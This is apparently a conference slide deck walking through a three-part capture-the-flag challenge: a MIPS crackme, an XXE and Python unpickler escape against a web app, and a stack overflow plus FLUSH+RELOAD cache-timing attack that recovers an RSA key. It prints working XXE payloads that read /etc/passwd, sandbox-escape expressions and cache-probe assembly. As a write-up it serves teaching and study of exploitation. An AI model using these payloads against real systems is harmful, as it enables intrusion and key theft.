NSC #2 - Challenge Solution

Who am I
● Fabien Perigaud (@0xf4b)
● Reverse engineer at Airbus Defence and Space
● Challenges addict :)

NSC#2 challenge
● 3 parts
– MIPS crackme
– Web / Python exploitation
– X64 / Crypto exploitation

MIPS crackme
$ file crackmips
crackmips: ELF 32-bit LSB executable, MIPS, MIPS-II version 1, dynamically linked
(uses shared libs), for GNU/Linux 2.6.26,
BuildID[sha1]=be26414a4b6e7af7098c07a6646a5c658e1440e7, not stripped
●
Runs in Qemu
● MIPS Debian images available (Aurel32)
root@debian-mipsel:~# ./crackmips
usage: ./crackmips password
root@debian-mipsel:~# ./crackmips test
WRONG PASSWORD

In IDA
● Ugly big block
● Quite simple global
behaviour

Parent: debug()
● Waits for a child break
● Get $pc value (ptrace(...))
● Big block (again!) to compute new $pc
● Replace $pc in child's context
=> Operations on $pc independent from the
password

Parent: debug() (2)
● Simple GDB script can recover all modified $pc values
b *0x400B90
commands
p/x $v0
cont
end
b *0x401D88
commands
p/x $v0
cont
end

Child: big ugly block
● Operates on DWORD of the password (loop on 6
DWORD)
● Can be divided in ~100 small blocks
– Separated by “break 0” instructions
● Each small block is a simple operation
– Only ~10 different ones (NOT/ADD/SUB/ROR/ROL/XOR
with immediate values or a counter)
– Pattern matching on instructions to transform big block
in a set of basic operations

Big block transformation
$ python transform.py extract_ida.txt
[...]
.text:00402290: SUB CNT
.text:004022C0: ROR 1
.text:0040230C: SUB CNT
.text:0040233C: XOR 0x7B4DE789
.text:00402370: ADD 0x87DD2BC5
.text:004023A4: ROR 12
.text:004023F0: ADD CNT
.text:00402420: XOR CNT
.text:00402450: ROL 13
.text:0040249C: NOT
[...]

Putting all together
● New execution path + basic operations on
password
● We can now invert the algorithm from the string
"[ Synacktiv + NSC = <3 ]"

Part1 done
$ python resolve_part1.py
322644EF941077AB1115AB575363AE87F58E6D9AFE5C62CC
# ./crackmips 322644EF941077AB1115AB575363AE87F58E6D9AFE5C62CC
good job!
Next level is there:
http://nsc2014.synacktiv.com:65480/oob4giekee4zaeW9/

Web exploitation (2)
● Try to post a message
POST /msg.add HTTP/1.1
Host: nsc2014.synacktiv.com:65480
[...]
vs=&title=TITLE_TEST&body=<msg>MSG_TEST</msg>
=> Smells like XML ! XXE anyone ?

XXE !
● Let's try …
[...]
vs=&title=TITLE_TEST&body=<!DOCTYPE foo [<!ENTITY z SYSTEM
"file:///etc/passwd">]><msg>&z;</msg>

XXE ! (2)
● Dir listing ?
[...]
vs=&title=TITLE_TEST&body=<!DOCTYPE foo [<!ENTITY z SYSTEM
"file:///">]><msg>&z;</msg>

XXE ! (3)
● Just retrieve the two files
$ cat app.conf
[global]
you_know_how_to_play_with_xxe = 1
admin_url = /secret.key
[viewstate]
key = ab2f8913c6fde13596c09743a802ff7a
$ file viewstate.pyc
viewstate.pyc: python 2.7 byte-compiled

/secret.key ?
● viewstate.pyc → uncompyle2 → viewstate.py
● Code responsible for the /secret.key request
ADMIN_HOSTS = frozenset(['127.0.0.1', '::1', '10.0.1.200'])
@staticmethod
def getMasterSecretKey(req, vs_data = None):
assert isinstance(req, EZWebRequest)
vs = App._load_session(vs_data)
if vs.data.get('uid', -1) != 31337:
raise SecurityError('not allowed from this uid')
if req.env['REMOTE_ADDR'] not in App.ADMIN_HOSTS:
raise SecurityError('not allowed from this IP address')
return (vs, SecretStore.getMasterKey())

vs
● Serialized dictionary → compressed (zlib) →
ciphered (AES) → encoded (base64)
● Key provided by app.conf
● Unserialization done by a custom Unpickler
(restricted __reduce__() functions list)
SAFE_BUILTINS = frozenset(['bool', 'chr', 'dict', 'float',
'getattr', 'int', 'list', 'locals', 'long', 'max', 'min', 'repr',
'set', 'setattr', 'str', 'sum', 'tuple', 'type', 'unicode'])

Python exploitation
● Goal: add eval to the SAFE_BUILTINS set
● Steps:
– Create new set → we've access to set()
– Retrieve “self” → next slide :)
– setattr(self, “SAFE_BUILTINS”, new_set) → we've
access to setattr()
– PROFIT §§§ → next next slide

Python exploitation (2)
● locals() returns a dict containing “self”
● getattr() does not allow to retrieve a dict
element
● type(“x”, (), mydict) allows to create a new
object with mydict as __dict__
● “self” retrieved with :
getattr(type("obj42", (), locals()), "self")

Python exploitation (3)
● Secret key should be in the getMasterKey()
function constants
eval(__import__('viewstate').SecretStore.getMas
terKey.func_code.co_consts)
● Final vs
vs = {'msg': [{'body': SETATTR(), 'title': EVAL()}],
'display_name': 'guest'}

Part2 done
… "messages": [{"body": null, "title": [null, 124,
"getMasterKey() caller not authorized (opcode %i/%i)",
"viewstate.py", "getMasterKey() caller not authorized",
"getMasterSecretKey", "getMasterKey() caller not authorized
(function %s/%s)",
"master_key=http://nsc2014.synacktiv.com:65480/OhXieK1hEiza
hk2i/securedrop.tar.gz"]} ...

SecureDrop
$ tar tvzf securedrop.tar.gz
● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/
● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/client/
● -rw-r--r-- efiliol/ANSSI 2002 2014-08-28 12:23 securedrop/client/client.py
● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/archive/
● -rw-r--r-- efiliol/ANSSI 803 2014-09-01 17:06 securedrop/archive/messages
● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 19:06 securedrop/servers/
● -rwxr-xr-x efiliol/ANSSI 9600 2014-08-27 18:43 securedrop/servers/SecDrop
● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 14:34 securedrop/servers/xinetd.conf/
● -rw-r--r-- efiliol/ANSSI 466 2014-08-27 14:34 securedrop/servers/xinetd.conf/secdrop
● -rw-r--r-- efiliol/ANSSI 449 2014-08-27 14:34 securedrop/servers/xinetd.conf/stpm
● -rwxr-xr-x efiliol/ANSSI 14728 2014-08-27 18:43 securedrop/servers/STPM
● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 14:35 securedrop/lib/
● -rwxr-xr-x efiliol/ANSSI 35648 2014-08-27 18:43 securedrop/lib/libsec.so

Global architecture
client.py SecDrop STPM
Client side Server side

Client.py
● Asks a message
● Generates random AES key
● Ciphers message (AES)
● Ciphers AES key (RSA)
● Send ciphered message + ciphered key (+ a
constant password to authenticate with the
service): separation with a 'n'

SecDrop
● Handles client.py connections / requests
● Asks STPM to decrypt the message
● If decryption is correct, save the ciphered
message/key to “messages” file

STPM
● Stores secret keys (AES / RSA)
– Can import new keys
● Handles 4 commands :
– import_key
– export_key
– print_keys
– message_decrypt

libsec.so
● Loaded by both SecDrop and STPM
● Various cryptographic functions :
– AES-OCB3 (encrypt/decrypt messages):
SEC_crypt(), SEC_decrypt()
– RSA (import/export AES key): key_wrap(),
key_unwrap()
● Printing functions: SEC_fprintf(),
SEC_fprintf_keys(), SEC_fgetc()

And now ?
● Goal is to decrypt “messages” file
● Need to get RSA private key OR decrypted
AES key
● Let's have a look at SecDrop

SecDrop Vulnerability
● Trivial stack buffer overflow in client messages handling
● Seccomp with custom rules (only access to read(),
write() and exit())
● No NX on this binary (took me a few days …)
● Performed some ROP to put an arbitrary shellcode in a
known location and jmp on it
– Didn't see the “jmp rsp” in the code …
● Now what ?

Now what ?
client.py SecDrop STPM
Client side Server side
We're here

Now what ?
● Try to call the list_keys() function in STPM
● Returns:
– AES key: k = SECRET :)
– RSA key: q = PRIVATE :)
● Function only allows printing public part of the RSA key :(
21:17 <Baboon> :D
21:17 <Baboon> tu croyais quoi
21:18 <Baboon> tu vas en chier :P

Now hints !
● Spent some days trying to find a “classical”
vulnerability in STPM…
● Hints published by Synacktiv

Hints decoding
● “RDTSC”: timing attack
● “Attack the cache”: timing attack on the CPU
cache
● Looking for papers …
– “FLUSH+RELOAD: a High Resolution, Low Noise, L3
Cache Side-Channel Attack” → attack on CPU cache
to retrieve a RSA key when a naive implementation is
used

Attack!
● Determine the execution path taken by the process
● We'll attack the square and multiply
accum = 1; i = 0; bpow2 = m
while ((d>>i)>0):
if((d>>i) & 1):
accum = (accum*bpow2) % n # multiply
bpow2 = (bpow2*bpow2) % n # square
i+=1
return accum
This part is taken
if the current bit is 1

Processor cache
● CPU wants to execute code at address X
– Check if data is in cache
– If not, load it from memory then cache it
● Is data in cache?
– Just measure the time taken to access it!
● From another process??
– Yes! Shared pages FTW

Shared pages
SecDrop STPM
Physical memory
libsec.so
- Both processes access the same memory page
- If STPM executes address X, the data is put in cache
- If SecDrop then accesses address X, it will be retrieved from
the cache

Attack! (2)
● How to know if code at @X has been executed by
STPM ?
– Measure time to access @X form SecDrop
● Slow → not in cache → not executed
● Fast → in cache → has been executed !
– Flush the cache!
– Sleep ; goto start ;
● Allows to know when a specific part of the code has
been executed across time
– Reveals bits of the key!

Attack! (3)
● Empirically determine two values:
– Sleep time between measures
– Threshold to determine if data is in cache
● Final exploit:
– Ask decryption of key
– Do N measures (one measure stored on 1 bit)
– Retrieve measures

Measurement example
probe:
mfence
lfence
rdtsc
mov esi, eax
mov eax, DWORD [rdi]
lfence
rdtsc
sub eax, esi
mov esi, eax
xor rax, rax
clflush [rdi]
cmp esi, 0xc0
jge probend
mov rax, 1
probend:
retn

Retrieve the key from the bits
● Some statistical analysis and black magic
– Assume square() and multiply() take the same
amount of time
– X 1's followed by X 0's → bit 1
– X 0's only not preceded by 1's → bit 0
● We can see the bits in an hexdump!

GET THE KEY §§§
1
11
00
000

Avoid measurement errors
● Repeat the operation 100 times
● Take the best candidate
– One key is found 70 times on 100
– Other ones only differ by a few bits… exploit in not
perfect :)
● Final key found is 1374 bits
– And does not work to decrypt the AES key :(

Lack of bits
● We may have failed getting some bits ?
– N modulus is 1380 bits
● Bruteforce at most 6 bits of the key !
– Good key found in seconds

Final run
● Decrypt AES key contained in “messages” file
using the retrieved key
● Decrypt the message using AES key
$ python final_p3.py
Good job!
Send the secret 3fcba5e1dbb21b86c31c8ae490819ab6 to
82d6e1a04a8ca30082e81ad27dec7cb4@synacktiv.com.
Also, don't forget to send us your solution within 10 days.
Synacktiv team

Thanks !
● For your attention
● To NSC staff for this presentation
● To Synacktiv for their crazy challenge

NSC #2 - Challenge Solution

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NSC #2 - Challenge Solution